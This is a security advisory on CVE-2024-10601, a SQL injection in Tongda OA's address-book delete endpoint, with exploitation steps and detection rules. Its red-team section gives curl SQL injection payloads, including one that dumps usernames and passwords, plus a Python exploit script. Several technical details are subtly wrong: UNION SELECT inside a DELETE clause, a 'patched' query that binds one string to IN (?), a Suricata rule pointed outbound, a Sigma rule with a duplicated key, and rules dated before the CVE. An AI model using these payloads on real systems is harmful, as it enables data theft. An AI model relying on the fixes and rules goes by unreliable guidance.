CVE-2024-10601

Executive Summary

CVE-2024-10601 is a critical SQL injection vulnerability discovered in Tongda OA 2017, affecting versions up to 11.10. The flaw resides in the /general/address/private/address/query/delete.php file, where the where_repeat parameter is not properly sanitized before being used in a SQL query. This allows an unauthenticated remote attacker to inject arbitrary SQL commands, potentially leading to full database compromise, data exfiltration, and further lateral movement within the network. The exploit has been publicly disclosed, increasing the risk of active exploitation. No official patch is currently available from the vendor.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a custom PHP application (Tongda OA) and should be treated as a proprietary software supply chain risk. Organizations using this software should monitor for vendor updates and consider compensating controls.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The vulnerability is trivial to exploit, requires no authentication, and can lead to complete compromise of the database server.

Deep Dive & Mechanics

The vulnerable endpoint /general/address/private/address/query/delete.php is part of the address book management module in Tongda OA. The script likely constructs a SQL DELETE query using the where_repeat parameter directly from the HTTP request without proper sanitization or parameterization.

A typical request might look like:

POST /general/address/private/address/query/delete.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

where_repeat=1=1

The application then executes a query similar to:

DELETE FROM address WHERE id IN (1=1)

By injecting a malicious payload into where_repeat, an attacker can manipulate the SQL query to extract data, modify records, or execute administrative commands on the database server.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

<?php
$where_repeat = $_POST['where_repeat'];
$sql = "DELETE FROM address WHERE id IN ($where_repeat)";
$result = mysqli_query($conn, $sql);
?>

Patched Code (Conceptual):

<?php
$where_repeat = $_POST['where_repeat'];
// Use prepared statements or parameterized queries
$stmt = $conn->prepare("DELETE FROM address WHERE id IN (?)");
$stmt->bind_param("s", $where_repeat);
$stmt->execute();
?>

Since no official patch is available, the above is a recommended fix.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running Tongda OA 2017 up to 11.10
• Network access to the /general/address/private/address/query/delete.php endpoint

Exploit Steps:

1. Identify the target:

   curl -s http://target.com/general/address/private/address/query/delete.php
   

2. Test for SQL injection:

   curl -X POST http://target.com/general/address/private/address/query/delete.php \
   -d "where_repeat=1' OR '1'='1"
   

3. Extract database version:

   curl -X POST http://target.com/general/address/private/address/query/delete.php \
   -d "where_repeat=1 UNION SELECT @@version-- -"
   

4. Dump user credentials:

   curl -X POST http://target.com/general/address/private/address/query/delete.php \
   -d "where_repeat=1 UNION SELECT username,password FROM users-- -"
   

Example Exploit Script (Python):

import requests

target = "http://target.com/general/address/private/address/query/delete.php"
payload = "1 UNION SELECT @@version-- -"

response = requests.post(target, data={"where_repeat": payload})
print(response.text)

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor HTTP POST requests to /general/address/private/address/query/delete.php with suspicious where_repeat parameters.
2. Look for SQL keywords (UNION, SELECT, OR, AND, --) in the where_repeat parameter.
3. Enable database query logging to capture all SQL statements executed by the application.
4. Implement a Web Application Firewall (WAF) rule to block SQL injection patterns.

Honeypot Setup:

• Deploy a decoy Tongda OA instance and monitor for exploitation attempts.
• Log all requests to the vulnerable endpoint for analysis.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /general/address/private/address/query/delete.php with unusual where_repeat values.
• SQL error messages in HTTP responses (e.g., "You have an error in your SQL syntax").
• Outbound database connections to unknown IP addresses.

File IOCs:

• Modified or new files in the Tongda OA installation directory.
• Suspicious entries in web server access logs.

System IOCs:

• Unexpected database user accounts or privileges.
• Unusual database queries in logs.

Detection Engineering

YARA Rule

rule CVE_2024_10601_Tongda_OA_SQLi {
    meta:
        description = "Detects exploitation attempts for CVE-2024-10601 in Tongda OA"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-10601"
    strings:
        $s1 = "/general/address/private/address/query/delete.php" ascii nocase
        $s2 = "where_repeat" ascii nocase
        $s3 = "UNION" ascii nocase
        $s4 = "SELECT" ascii nocase
        $s5 = "OR" ascii nocase
        $s6 = "AND" ascii nocase
    condition:
        $s1 and $s2 and (any of ($s3, $s4, $s5, $s6))
}

Sigma Rule

title: CVE-2024-10601 Tongda OA SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts targeting the where_repeat parameter in Tongda OA
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/general/address/private/address/query/delete.php'
        cs-uri-query|contains: 'where_repeat'
    keywords:
        - 'UNION'
        - 'SELECT'
        - 'OR'
        - 'AND'
        - '--'
    condition: selection and keywords
falsepositives:
    - Legitimate use of SQL keywords in parameter values (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-10601 Tongda OA SQL Injection Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/general/address/private/address/query/delete.php";
    http_uri;
    content:"where_repeat";
    http_client_body;
    pcre:"/(UNION|SELECT|OR|AND|--)/i";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the Tongda OA server from the internet if possible.
2. Apply a virtual patch using a WAF to block SQL injection patterns.
3. Monitor logs for exploitation attempts.

Long-term Fix:

• Upgrade to a patched version when available.
• Rewrite the vulnerable code to use prepared statements or parameterized queries.
• Conduct a full security audit of the application.

Compensating Controls:

• Implement strict input validation for all parameters.
• Use a database account with minimal privileges.
• Enable database query logging and alerting.

Valters IT